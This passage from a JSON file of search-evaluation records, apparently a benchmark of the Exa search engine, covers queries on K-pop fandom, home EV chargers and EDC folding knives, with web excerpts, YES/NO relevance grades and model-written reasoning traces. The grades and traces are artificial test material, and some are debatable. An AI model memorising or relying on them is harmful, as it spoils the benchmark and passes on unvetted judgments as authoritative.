don\u2019t even have to like the music \u2014 bands make a point of incorporating dance, visual spectacle, memes and comedy. Eliminate corporate jargon. Corporate-speak is a barrier to understanding and an enemy of joy. It\u2019s incomprehensible. It\u2019s meaningless. It alienates everyone. Kill it with fire. Thank you DALL-E Mix up your content and platforms. People absorb information in different ways. Communicating only through press releases o",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document appears to be a blog post, but it is not clear if it is a personal blog post -> ([2], UNSURE)\n2. {cultural significance of K-pop fandom}: The document discusses how K-pop bands build their fandoms and the impact of these fandoms, but it focuses more on the tactics used to build fandoms rather than the cultural significance -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponent is {cultural significance of K-pop fandom}. Since this subcomponent is UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "K-pop fandom",
                "url": "https://www.vam.ac.uk/articles/k-pop-fandom",
                "published_date": null,
                "text": "The origins of Korean popular music can be traced back to at least the 1950s, but it was the formation of the hip hop boy band Seo Taiji and Boys in 1992 that created a distinctive new musical genre now considered the forerunner of K-pop today. The audience for this brand of K-pop was mainly a domestic one until the late 1990s when pockets of K-pop fans started springing up in East and Southeast Asia.\n      \n      \n        Being an international fan of some of the biggest K-pop groups of the 1990s and 2000s, including H.O.T, S.E.S, g.o.d, TVXQ, Girls Generation, and 2NE1, meant belonging to a small subculture. Then, as our lives migrated onto social media platforms, K-pop hit the mainstream. From the mid-2010s, groups, such as BTS, Blackpink, EXO, and Twice began enjoying global success. It wasn't until PSY's huge viral hit Gangnam Style, released on YouTube in 2012 and watched by billions worldwide, that K-pop fully arrived on the global music scene.\n  \n    \n    \n    \n      \n        Seo Taiji and Boys, studio album by Seo Taiji and Boys, Bando Records, 1992. \u00a9 Victoria and Albert Museum, London\n      \n  \n  Fast forward a decade and K-pop continues to attract new audiences, helped in part by the formation of groups with international members (Lisa from BlackPink is Thai, and NCT's WinWin and Yuta are Chinese and Japanese respectively) and through collaborations with other international artists (BTS have collaborated with Coldplay and Nicki Minaj; BlackPink with Lady Gaga and Dua Lipa; Super Junior with Latin-pop star Leslie Grace).\n  \nThe average age of a K-pop fan is 23 years old, and over half are female. This young demographic has transformed K-pop into a social media phenomenon. Fans take to social media platforms, such as Twitter, Instagram, and TikTok, to express their love for their favourite K-idols and to access original content, including photography and translations of K-pop material into their own language. K-fans are just as important to social media platforms as the platforms are to K-fans. In 2021,",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document is an article on the Victoria and Albert Museum website, not a personal blog post -> ([1], UNSATISFIED)\n2. {cultural significance of K-pop fandom}: The document discusses the history and global spread of K-pop fandom, including its impact on social media and international collaborations -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to the cultural significance of K-pop fandom but does not meet the requirement of being a personal blog post. Since the personal blog post subcomponent is tagged with [1] and is UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Understanding the Kpop Idol Fan Culture | by Isu Mizumi",
                "url": "https://medium.com/@isu.mizumi/understanding-the-kpop-idol-fan-culture-b65baea82ec4",
                "published_date": null,
                "text": "How have interactions between idols and fans impacted the status of the idols and the fandoms? How are there instances of miscommunication among the members of the cultures? How does the culture function behind the scenes? Why do some fans take their admirations way too far? What\u2019s \u201cweird\u201d about the culture? How does the culture economically stay alive?           The \u201cHallyu Wave\u201d has been an international phenomenon that really took off in the early 2000\u2019s. It refers to the rise of Korean pop culture in global and domestic relevance. Korean pop idols and their fans play a huge role in bringing Kpop culture to a broader range of audiences. Their relationship with each other is particularly interesting because of how much interaction actually goes on between them. It\u2019s different from most Western artists in that they don\u2019t have as many fan meetings, live streams, or responding to fan comments on SNS (social networking sites) as Korean pop idols. This creates a bond between the idols and fans because the interactions are more plentiful. Since then, the fanbase has expanded and is slowly dominating the global front especially that music companies open auditions for aspiring international performers to possibly earn a contract to work and train under that company. Despite the unique situation that has caused overwhelming support for the music genre and the performers, this can cause problems for fans and idols as well in different ways. A lot of the directions that idols go through tend to be decided by the fans. Fandoms, the actions they take, and the work that they put into helping their favorite idol groups win awards and high honors. Depending on the type of SNS, fans use each one with different purposes. For example, people tend to post fanfiction and reactions on Tumblr whereas people sell their Kpop merch in groups on FaceBook. Most SNS can have multiple uses for fans, but there\u2019s always a dominant purpose that each tends to have. It\u2019s a busy and quick-paced community as new music comes out every week of the y",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document is a personal blog post by Isu Mizumi on Medium -> ([1], SATISFIED)\n2. {cultural significance of K-pop fandom}: The content discusses the interactions between idols and fans, the international impact of K-pop, and the unique cultural aspects of the fandom, which relates to the cultural significance of K-pop fandom -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "KPOP Fan Spending: The Value of the Fandom Culture",
                "url": "https://www.delivered.co.kr/kpop-fan-spending-the-value-of-the-fandom-culture/",
                "published_date": null,
                "text": "Home \u00a0 \u00a0>\u00a0 \u00a0 Blog \u00a0 \u00a0>\u00a0 \u00a0K-pop fan spending: The value of the fandom culture\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\n\t\t\t\tTable of Contents\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\t\t In recent years, the effect of    Hallyu    or the Korean Wave has been more evident than ever. K-drama, K-food, K-beauty, K-fashion, and KPOP are leading their respective industries globally. Following the rise of technology and ways of communication, the overall growth is considerably fast.   Especially for KPOP, music might be its primary source, but what made it internationally competitive to the whole music and business industry is the support of the fans. Unlike its western counterpart, the South Korean fandom culture is more money-oriented, whether you accept it or not. But it\u2019s not a bad thing. It\u2019s just that the KPOP fandom culture\u2019s cultural and social value that comes with fan commitment is constantly overlooked.  \t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t The KPOP Fandom Culture\t\t \n\t\t\t\t\n\t\t\t\t\n\t\t\t\t Seeing how KPOP groups like  BTS ,  BLACKPINK ,  SEVENTEEN , and  TWICE  are easily dominating their global audience every time they release music, you\u2019ll realize that KPOP has become mainstream. It is not just a subculture anymore. And what drives it is the unique KPOP fandom culture that started way back in 1992. \n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t History\t\t \n\t\t\t\t\n\t\t\t\t\n\t\t\t\t Without much knowledge of the subject, you\u2019ll think that KPOP started in 2009. This was when a few idol groups were finally recognized in their neighboring countries like Japan and China. But KPOP was actually born in 1992 when a boy group called \u201c Seo Taiji and Boys \u201d introduced a new music genre and vibe to South Korea. Fans acknowledge that this period is the first generation or era of KPOP. \n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFirst Generation KPOP Idols, Source: Amino Apps\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\t\t As Seo Taiji and Boys successfully captured their local audiences\u2019 hearts, more idol hopefuls followed in their footsteps. This is when idol groups like  H.O.T. ,  Sech Ki",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: The document is labeled as a blog post -> ([1], SATISFIED)\n2. {cultural significance of K-pop fandom}: The document discusses the value of K-pop fandom culture, its history, and its impact on the global music and business industry, which aligns with the cultural significance aspect -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            }
        ]
    },
    {
        "query": "fastest ev charger home install",
        "grid_pos": [
            0,
            3
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and process complex, jargon-heavy requests typical of Google searches for consumer products and services. They require up-to-date knowledge of technology, home appliances, and consumer goods, as well as an understanding of specific technical terms and abbreviations. Each query is challenging in its own way:\n\n1. \"best ssd nvme pcie 4.0 2023\" - Requires knowledge of computer hardware, specifically solid-state drives, and understanding of current technology standards.\n\n2. \"cheapest 4k 120hz hdmi 2.1 tv\" - Tests understanding of TV specifications and the ability to find budget-friendly options with specific technical requirements.\n\n3. \"fastest ev charger home install\" - Challenges the system to understand electric vehicle terminology and home installation services.\n\n4. \"quietest robot vacuum pet hair\" - Requires comprehension of home appliance features and specific use cases (pet hair).\n\n5. \"most durable edc folding knife\" - Tests knowledge of everyday carry (EDC) items and understanding of durability in the context of folding knives.\n\nThese queries are realistic yet challenging, requiring Exa to parse technical jargon, understand abbreviations, and provide up-to-date information on consumer products and services."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "HomeStation\u2122 Level 2 EV Charger",
                "url": "https://vw.electrifyhome.com/homestation",
                "published_date": "2023-01-01",
                "text": "The store will not work correctly in the case when cookies are disabled. $649.00\u2021 In stock Manufacturer Part Number EA2R040JPA10-00 Overview\n\nSmart charger\nWiFi-ready and connected to the Electrify America app for remote access control, remote start/stop charging sessions, notifications/reminders, scheduled charging, and over-the-air (OTA) updates.\n\nMore charging power\nDesigned to charge capable vehicles up to 6.8x faster than Level 1 chargers, with 9.6 kW of available power at 40 amps.\n\nEasy reach\nHomeStation features a 24-foot cable to make it easy to reach your EV.\n\nInstallation options\nPower plug is compatible with the 240-volt outlets found in most households. Unit can be hardwired by a licensed electrician. Any existing 240-volt outlet should be inspected by a certified and qualified electrician.\n\nAdjustable for your home\nThe charger\u2019s current maximum output is 40 amps and can be configured to 32 or 16 amps during installation to fit almost any home electrical panel. We recommend you consult a licensed electrician who should perform all installations, and any hardwiring of the charger.\n\nDiscover available incentives\nHome charging incentives could save you money. Make the most of charging at home and see what savings you may be eligible for. Learn more.\n\nCertifications\n HomeStation is ENERGY STAR\u00ae certified, as well as tested and certified to meet UL standards for safety (UL 2594, UL 2231-1&2).\n\nElectrify America app\n HomeStation features the Electrify America app for managing your charger remotely at home, while connecting to the largest, open ultra-fast charging network in the country.\n\nHome Charging Installation Made Simple Volkswagen recommends Qmerit EV Installation services for your home charging installation needs. Simply plug in before bed and wake up to a charged vehicle ready to take on any adventure ahead. Qmerit can help you find an installer for any wallbox you purchase and provides customized pricing options.\u2060\u2060* \u2060Get Started \n *Level 2 wallbox charger not included in Volkswagen ID.4 purchase an",
                "model_trace": "Query Decomposition:\n1. {fastest EV charger}: The document mentions that the HomeStation charger can charge vehicles up to 6.8x faster than Level 1 chargers with 9.6 kW of available power at 40 amps -> ([1], SATISFIED)\n2. {home install}: The document provides detailed information about home installation options, including compatibility with 240-volt outlets and recommendations for using licensed electricians -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document provides information on a fast EV charger and details on home installation, making it useful for the query. YES."
            },
            {
                "grade": "YES",
                "title": "HomeStation - Level 2 Home Charger",
                "url": "https://www.electrifyhome.com/homestation",
                "published_date": "2023-01-01",
                "text": "$649.00\u2021 In stock Manufacturer Part Number EA2R040JPA10-00 Overview\n\nHomeStationTM Simplifies life with your EV\nIntroducing our Level 2 home charger. HomeStationTM is faster, smarter and more streamlined to give you the ease and control you deserve at home. Styled by Italdesign.TM\n\nWiFi Ready\nConnects to your smartphone and smart home so charging your EV is convenient and transparent.\n\nApp Control\nManage your Level 2 home charger via the Electrify America app with remote start and stop and scheduling.\n\nMore Charging Power\nCan charge capable vehicles up to 6.8x faster than Level 1 chargers, with 9.6kW of available power at 40 amps\n\nAdjustable Installation Options\nPower plug is compatible with the 240-volt outlets found in most households. Unit can be hardwired by a licensed electrician. Any existing 240-volt outlet should be inspected by a certified and qualified electrician.\n\nAdjustable for Your home\nThe charger\u2019s maximum output can be configured during installation for 40 amps, 32 amps, or 16 amps to fit almost any home electrical panel. We recommend you consult a licensed electrician who should perform all installations, and any hardwiring of the charger.\n\nEasy Reach\nHomeStationTM feature a 24 foot cable to make it easy to reach your EV.\n\nSafety Certified Charger\nTested and Certified to meet UL standards for safety (UL 2594, UL 2231-1&2).\n\nEnergy Efficient\nENERGY STAR\u00ae certified.\n\nHomeStationTM features the Electrify America app for managing your charger remotely at home, while connecting to the largest public charging network in the country.\n\nRemote Start/Stop\nPush Notification/Reminders\nMulti-Charger Management - Up to 10 chargers from 1 account\nOne Account for Home and Highway\nSyncs Information Between Home and Public Stations\n Smart Home Voice Control with Amazon Alexa (Google Home under development)\n Schedule Preferred Charging Times\nOff-Peak Charging to lower energy costs (where available)\n\nSpecifications Specifications Brand Electrify Home Measurements H x W x D 15.75\" x 8.66\" x 6.75\" (approx.) Installat",
                "model_trace": "Query Decomposition:\n1. {fastest ev charger}: The document mentions that the HomeStation Level 2 charger can charge capable vehicles up to 6.8x faster than Level 1 chargers with 9.6kW of available power at 40 amps -> ([1], SATISFIED)\n2. {home install}: The document provides details on installation options, including compatibility with 240-volt outlets and the recommendation to consult a licensed electrician for installation -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing information on the charging speed and installation options for the HomeStation Level 2 charger. YES."
            },
            {
                "grade": "YES",
                "title": "EVFASTCHARGE",
                "url": "https://evfastcharge.com/",
                "published_date": "2018-01-01",
                "text": "Why EVFastCharge.com Why do I need an EV Fast charging station for my Electric Vehicle? Choosing the right EV Fast Charge station can speed up your charging time up to 8X getting you quickly back to your 'life on the move'. EVFastcharge.com offers a one stop shop for the best names in FAST electric vehicle residential and commercial charging stations. You will also get help from our manufactures in finding a local EV charger installer to make the process as easy and seamless as possible. OUR TOP PICKS - EV FAST CHARGERS - RESIDENTIAL Chargepoint Homeflex Chargepoint Homeflex Chargepoint Homeflex The ChargePoint Home Flex is a powerful, compact 50-amp smart-charger. It has an integrated connector holster that is back-lit and swivels for easy use. You can choose it in plug-in or hardwired form and comes standard with a 23-foot cable. It\u2019s a WiFi connected smart EV fast charge option that\u2019s packed with features. Its in the $700 price range and uses the ChargePoint app to control the unit and review past charging history. ENEL X JuiceBox 40 Chargepoint Homeflex Chargepoint Homeflex The Enel X JuiceBox 40 is a 40-amp smart-charger that is loaded with smart-charging features. It\u2019s compatible with Amazon Alexa and Google Assistant, it can schedule charging time, send you reminders and notifications. It can load-balance between multiple units, allowing the owner to charge two electric cars from a single circuit. This Energy Star certified model makes a great house EV charger. EVOcharge EVSE Chargepoint Homeflex EVOcharge EVSE The EVOcharge EVSE 32 amp EV fast charge option charges up to 8x Faster than Standard AC Level 1 EV chargers for an additional estimated 25-35 miles of Range Per Hour. It is engineered for ease of Installation with a Standard NEMA 6-50 plug and universal mounting bracket. The EVOcharge EVSE line makes an electric vehicle fast charge quick and easy. OUR TOP PICKS - EV FAST CHARGERS - COMMERCIAL Chargepoint CT4000 Chargepoint CT4000 Chargepoint CT4000 The CT4000 is the ideal fit for property owners, b",
                "model_trace": "Query Decomposition:\n1. {fastest EV charger}: The document lists several fast EV chargers, including ChargePoint Home Flex, Enel X JuiceBox 40, and EVOcharge EVSE, which are described as fast-charging options -> ([1], SATISFIED)\n2. {home install}: The document specifically mentions residential EV fast chargers and provides details about their installation -> ([1], SATISFIED)\n\nAssessment: The document provides information about fast EV chargers suitable for home installation, satisfying both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Best Home EV Chargers for 2024, Tested",
                "url": "https://www.caranddriver.com/shopping-advice/a39917614/best-home-ev-chargers-tested/",
                "published_date": null,
                "text": "Okay, so you bought your first electric vehicle. Now what? There are a number of ways EV ownership will be different than that of a vehicle with an internal-combustion engine, but a big one you need to figure out immediately is charging.  First, you want to be charging at home as much as possible. This has two significant benefits: Charging can be accomplished when the vehicle is otherwise parked, and home charging is substantially cheaper (roughly one-third the cost) of DC fast-charging.   Our Top Picks         JuiceBox JuiceBox 40 Smart Electric Vehicle (EV) Charging Station with WiFi  Read more          Lectron Lectron 32 NEMA 14-50 Level 2 EV Charger  Read more          chargepoint ChargePoint Home Flex Electric Vehicle (EV) Charger  Read more                Grizzl-E Smart \u2013 Classic NEMA 14-50  Read more      There are three major factors to consider: the output of the household circuit you're connecting to, the output of the EV charging equipment, and the rate of charging that your vehicle can handle. We've gathered five charging options to connect your house to your electric car that range in price from $300 to $1000, all of which are compatible with any EV on sale today. The more expensive ones have Wi-Fi connectivity, which gives the ability to monitor charging, receive alerts, and control the unit via an app. Many of these have different variants (hardwired or plug, different output capabilities, and varying cord lengths) with slightly different prices.   Shop the best home EV charging station deals on Amazon    Best Overall EV Charger: JuiceBox 40      JuiceBox JuiceBox 40 Smart Electric Vehicle (EV) Charging Station with WiFi              JuiceBox JuiceBox 40 Smart Electric Vehicle (EV) Charging Station with WiFi   Credit: Michael Simari     Pros  Remote monitoring and control, different output versions offered, most extensive vehicle database.    Cons  Higher-end pricing, no electricity cost tracking.      Output capability: 40/32/24/16/12/6 amps (9.6/7.7/5.8/3.8/2.9/1.4 kW)  Cord length: 25 feet Cord",
                "model_trace": "Query Decomposition:\n1. {fastest}: The document mentions the output capabilities of various chargers, which can be used to infer charging speed -> ([2], SATISFIED)\n2. {ev charger}: The document lists multiple EV chargers -> ([1], SATISFIED)\n3. {home install}: The document is specifically about home EV chargers -> ([1], SATISFIED)\n\nAssessment: The document provides information on various home EV chargers, including their output capabilities, which can help determine the fastest option. All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "The Best Electric Vehicle Chargers for Home",
                "url": "https://www.nytimes.com/wirecutter/reviews/best-electric-vehicle-chargers-for-home/",
                "published_date": null,
                "text": "Skip To Content    Home & Garden Kitchen Bathroom Appliances Sleep Lighting & Decor Cleaning Office Heating, Cooling, & Air Quality Garden   Health & Leisure Fitness Health Outdoors Hobbies Travel Pets   Tech Electronics Computers Audio & Video Smart Devices Cameras   Baby & Kid Bath & Diapering Pregnancy & Nursing Clothing Gear & Furniture Safety School Toys Travel   Style Apparel Shoes Accessories   Gifts Valentine's Day Gifts Gifts for Grown-Ups Gifts for Kids   Deals               Photo: Connie Park        Whether you\u2019re a longtime electric vehicle owner or you\u2019re still waiting for your first EV to leave the factory floor, you should consider investing in a Level 2 charger for your home. Most modern EVs ship with a Level 1 charger\u2014these tend to be small, portable, and slow-charging, thanks to their 120-volt output. But a 240-volt Level 2 charger is the fastest way to juice up an EV at home, adding four or more times as many miles per hour of charge. They\u2019re also more likely to have premium features, such as a power cord that\u2019s long enough to reach across a two-car garage or a wide variety of installation options. After 28 hours of research and 85 hours of testing, we found that the United Chargers Grizzl-E Classic is the best at-home charger for most EV drivers, whereas Tesla drivers should stick with the Tesla Wall Connector.   \nThe vast majority of EVs fall into one of two categories: Tesla and everything that\u2019s not a Tesla. The latter category is made up mostly of EVs from legacy car manufacturers like Chevrolet, Ford, and Volkswagen, with a charging port where the gas tank would normally be (called a J1772 port). Teslas have their own proprietary charging port (much like how, at least for now, iPhones charge from Apple\u2019s exclusive Lightning port, whereas most other smartphones have a USB-C port). For this guide, we chose to focus on chargers that are compatible with either a J1772 or a Tesla port, as well as on adapters that can convert one type of plug to the opposite ",
                "model_trace": "Query Decomposition:\n1. {fastest EV charger}: The document mentions that a 240-volt Level 2 charger is the fastest way to charge an EV at home -> ([1], SATISFIED)\n2. {home install}: The document discusses at-home EV chargers and their installation options -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied as the document provides information on the fastest EV chargers for home installation. YES."
            },
            {
                "grade": "YES",
                "title": "The Fastest Home EV Chargers for 2023",
                "url": "https://ev-lectron.com/blogs/blog/the-fastest-home-ev-chargers-for-2023",
                "published_date": null,
                "text": "2022 was a notable year for the electric vehicle industry.\nWe've seen new EVs with features more powerful than the next.\n2022 was also a big year for EVSE (electric vehicle supply equipment). With increased power and efficiency, EV chargers are now allowing you to charge up faster and get the most out of your electric vehicle.\nWhile the nationwide network of chargers is growing, it's still not as efficient as refueling gas powered vehicles.\nWith most EV owners still preferring the convenience of home charging, we're here to help you find out how you can improve your home charging experience.\nSo, what is the fastest home EV charger you can get in 2023?\nDifferent types of EV chargers explained\nIf you haven't read our previous blogs about the different types of battery EV chargers, let's have a little recap.\nThere are three levels of EV chargers:\nLevel 1 EV chargers\nLevel 1 charging, also called trickle charging, is the simplest and has the slowest charging speed of the three.\nMost electric vehicles come with a Level 1 electric car charger, which you can simply plug into your standard outlet.\nIt's only capable of 4 to 6 miles of range per hour, which is likely enough for your daily commute.\nIf you have an electric car with a 200-mile range, it will take around 35 to 50 hours to fully charge.\nLevel 2 EV chargers\n Level 2 chargers are plugged into 220-240-volt outlets that are typically used for washing machines, electric dryers, and other major appliances.\nYou may also opt for a hardwire installation which can give you a bit more power than the plug in EV charger.\nLevel 2 chargers are often found in public EV charging stations like in offices, malls, and supermarkets, so you can have your battery topped up while you're grocery shopping.\nWith a Level 2 EV charger, EV batteries can go from zero to full charge in just under 10 hours.\nLevel 2 EV chargers are the perfect choice if you want to charge overnight.\nDC fast chargers\nDC fast charging uses direct current (DC power) instead of alternating current.\nA fast charger d",
                "model_trace": "Query Decomposition:\n1. {fastest EV charger}: The document discusses different levels of EV chargers and mentions which ones are the fastest -> ([1], SATISFIED)\n2. {home install}: The document specifically talks about home EV chargers and how they can be installed -> ([1], SATISFIED)\n\nAssessment: The document satisfies both subcomponents by providing information on the fastest EV chargers and their suitability for home installation. YES"
            }
        ]
    },
    {
        "query": "most durable edc folding knife",
        "grid_pos": [
            0,
            3
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and process complex, jargon-heavy requests typical of Google searches for consumer products and services. They require up-to-date knowledge of technology, home appliances, and consumer goods, as well as an understanding of specific technical terms and abbreviations. Each query is challenging in its own way:\n\n1. \"best ssd nvme pcie 4.0 2023\" - Requires knowledge of computer hardware, specifically solid-state drives, and understanding of current technology standards.\n\n2. \"cheapest 4k 120hz hdmi 2.1 tv\" - Tests understanding of TV specifications and the ability to find budget-friendly options with specific technical requirements.\n\n3. \"fastest ev charger home install\" - Challenges the system to understand electric vehicle terminology and home installation services.\n\n4. \"quietest robot vacuum pet hair\" - Requires comprehension of home appliance features and specific use cases (pet hair).\n\n5. \"most durable edc folding knife\" - Tests knowledge of everyday carry (EDC) items and understanding of durability in the context of folding knives.\n\nThese queries are realistic yet challenging, requiring Exa to parse technical jargon, understand abbreviations, and provide up-to-date information on consumer products and services."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "LAPG TBFK S35VN EDC Folding Knife",
                "url": "https://lapolicegear.com/lapg-kn-tbfk-01-folding-s35vn.html",
                "published_date": "2023-02-06",
                "text": "Note: Lanyard hole has been removed and clip position has been reversed to accommodate a lower profile, tip-up carry position.\n LA Police Gear is already known for breaking into segments with exciting, useful products that not only look good and function highly, but save you a lot of money too. Now we're breaking into the knives segment with an entire line. The best part is that you can get a high quality knife at very reasonable prices because we cut out the middle man and pass the savings on to you. The LAPG TBFK S35VN EDC Folding Knife is made with high quality S35VN Steel. S35VN Steel is known for it's ability to withstand long-term use and is more than four times as tough as commonly used 440C and 154CM steel. This toughness ensures the blade will resist chipping and hold an edge. S35VN steel is also easier to polish and sharpen. You may be thinking, what's with all the acronyms LAPG? Well we got so excited describing how awesome this knife is that the name got too long! The full name: LA Police Gear \"The Best F***ing Knife\" S35VN Every Day Carry Folding Knife. Now you see why we abbreviated it. The LAPG TBFK S35VN EDC Folding Knife has a low-profile pocket clip that allows you to carry it with ease, and the ambidextrous thumb studs and flipper tab ensure a fast, smooth draw. The ball bearing mechanism ensures an incredibly smooth and quick draw. While this knife is not spring loaded, it opens so smoothly and quickly already you won't miss the spring at all. This knife is available in a drop point blade with a black stone washed or satin finish, all wrapped up in handsome G10 handles. Specifications:\n\nS35VN Blade Steel \nLow Profile Pocket Clip\nAmbidextrous Opening with Thumb Studs or Flipper Tab\nDrop Point Blade\nPlain Edge\nBlack G10 Handles\nLiner Lock\nBall Bearing Opening Mechanism\nOverall Length: 8\"\nFolded Length: 4.5\"\nBlade Length: 3 3/8\"\nBlade Thickness: 3 mm\nDesigned for Tip-Up Carry (Pocket Clip is Not Reversible)\n\nT.B.F.K. EDC Folding Knife Operator OHOC Folding Knife Rescue EDC Folding Knife Defender ",
                "model_trace": "Query Decomposition:\n1. {most durable}: The document mentions that the LAPG TBFK S35VN EDC Folding Knife is made with S35VN Steel, which is known for its toughness and ability to withstand long-term use, making it more durable than commonly used steels -> ([1], SATISFIED)\n2. {edc (everyday carry) folding knife}: The document clearly states that the knife is an EDC folding knife -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES"
            },
            {
                "grade": "NO",
                "title": "CRKT Endorser EDC Folding Pocket Knife: Assisted Opening Everyday Carry, Black Blade, Thumb Stud, Liner Lock, Two Tone G10 Handle, Pocket Clip 1105K",
                "url": "https://geni.us/9R16X",
                "published_date": null,
                "text": "CRKT Endorser EDC Folding Pocket Knife: Assisted Opening Everyday Carry, Black Blade, Thumb Stud, Liner Lock, Two Tone G10 Handle, Pocket Clip 1105K\n\nView on Amazon:\n\n* \n Note: Commissions may be earned from the links above. ?\n Affiliate Disclosure",
                "model_trace": "Query Decomposition:\n1. [most durable]: The document does not provide any information about the durability of the knife -> ([0], UNSURE)\n2. [edc folding knife]: The document is about an EDC folding pocket knife -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to being an EDC folding knife, but it does not provide any information about the durability of the knife, which is a critical part of the query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Spyderco Tenacious Folding Utility Pocket Knife with 3.39\" Black Stainless Steel Blade and Durable G-10 Handle - Everyday Carry - PlainEdge - C122GBBKP",
                "url": "https://geni.us/jZ4v0IR",
                "published_date": null,
                "text": "Spyderco Tenacious Folding Utility Pocket Knife with 3.39\" Black Stainless Steel Blade and Durable G-10 Handle - Everyday Carry - PlainEdge - C122GBBKP\n\nView on Amazon:\n\n* \n Note: Commissions may be earned from the links above. ?\n Affiliate Disclosure",
                "model_trace": "Query Decomposition:\n1. {most durable}: The document claims the knife has a \"Durable G-10 Handle\" -> ([1], SATISFIED)\n2. {edc (everyday carry)}: The document specifies it is for \"Everyday Carry\" -> ([1], SATISFIED)\n3. {folding knife}: The document describes it as a \"Folding Utility Pocket Knife\" -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "The Best EDC Folding Knife",
                "url": "https://knifeinformer.com/the-best-edc-folding-knife/",
                "published_date": null,
                "text": "Here at Knife Informer we\u2019ve compiled our list of the best EDC knives for every budget. \u00a0Remember, your EDC is not intended to be the \u2018master-of-all-trades\u2019. There will always be a better knife for specific tasks like slicing tomatoes, carving tent pegs from a fallen branch or skinning a deer but most of us want a single \u201cdo-everything\u201d knife that stays with us throughout the day and is good enough for almost anything.\u00a0 It needs to be dependable, comfortable to carry and perform well in a variety of situations.  TOP PICK: Benchmade Mini-Griptilian BUY  All the knives you see on this page are great choices but the knife we find ourselves recommending more than any other is the Benchmade Mini-Griptilian. It\u2019s a good size for everyday use, well-made by a reputable company and attractively priced. Don\u2019t feel you have to\u00a0drop a king\u2019s ransom on your EDC knife. If you\u2019re a knife enthusiast or someone who just has to have the very best then it\u2019s fine to spend more, but for the average Joe there are plenty of excellent choices in the lower price brackets. \u00a0Remember, the most valuable knife is always the one you\u2019re carrying when the need arises. Our recommendations for the best EDC knife Without further ado, here is a list of our favorite EDC folding knives available today in order of price range:  Under $50  ONTARIO RAT II STEEL: AUS-8/D2    Key Specs: Ontario RAT 2   Locking Mechanism Liner Lock   Deployment Mechanism Thumb Stud     The RAT 2 is one of our favorite budget blades as few other folding knives offer the equivalent performance, fit and features at this price point. \u00a0Last time I checked the RAT 2 can be had for under $30 which is phenomenal value for a folding knife that performs at this level. \u00a0It\u2019s small and lightweight with an impressive blade that\u2019s been heat treated to perfection. \u00a0The handle is tough yet comfortable and the whole thing feels incredibly well balanced in use. The deployment is slick and it locks up with reliable certainty each and every time thanks to the full stainless steel liners. With",
                "model_trace": "Query Decomposition:\n1. {most durable}: This document does not specifically focus on the durability of the knives, but rather on their overall performance and value -> ([2], UNSURE)\n2. {edc folding knife}: The document is about EDC folding knives -> ([1], SATISFIED)\n\nAssessment: The document clearly satisfies the subcomponent related to EDC folding knives. However, it does not specifically address the durability aspect, which is a crucial part of the query. Since the durability focus is not clearly met, the document is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "The 25 Best Pocket Knives In 2024 - Ranked and Reviewed",
                "url": "https://everydaycarry.com/best-pocket-knife/",
                "published_date": null,
                "text": "In This Article   Best Pocket Knives \u2014 2023 Edition   Popular Pocket Knife Brands   What You Should Know Before Buying a Pocket Knife   Frequently Asked Questions   How we picked    If there\u2019s one item that separates your usual setup of a phone, wallet, and keys from a bona fide everyday carry (EDC), it\u2019s the venerable pocket knife. It\u2019s become a symbol of preparedness, widely regarded as a staple of EDC gear. That\u2019s because having a good pocket knife can come in handy in a surprising number of ways, from everyday tasks like opening packages or prepping a snack to emergency applications such as self-defense or outdoor survival alike. With so many ways you can use a pocket knife, it\u2019s no surprise you\u2019ll have plenty of options to choose from, which can be daunting. In this buyer\u2019s guide, we\u2019ll break down what to look for when choosing the best pocket knife for your EDC, as well as highlight our 21 favorite options to make your search for your next pocket knife easy.   The Best Overall Pocket Knife:\u00a0SOG Terminus XR LTE [Buy]  The Best Pocket Knife on a Budget:\u00a0CIVIVI Elementum [Buy]  The Best Traditional Pocket Knife:\u00a0Buck The 55 [Buy]  The Best Tactical Pocket Knife:\u00a0Ontario Knife Company Rat II [Buy]  The Best Lightweight Pocket Knife:\u00a0Spyderco Para 3 Lightweight [Buy]  Popular Pocket Knife Brands  Product List  Product List   1 - The Best Overall Pocket Knife: SOG Terminus 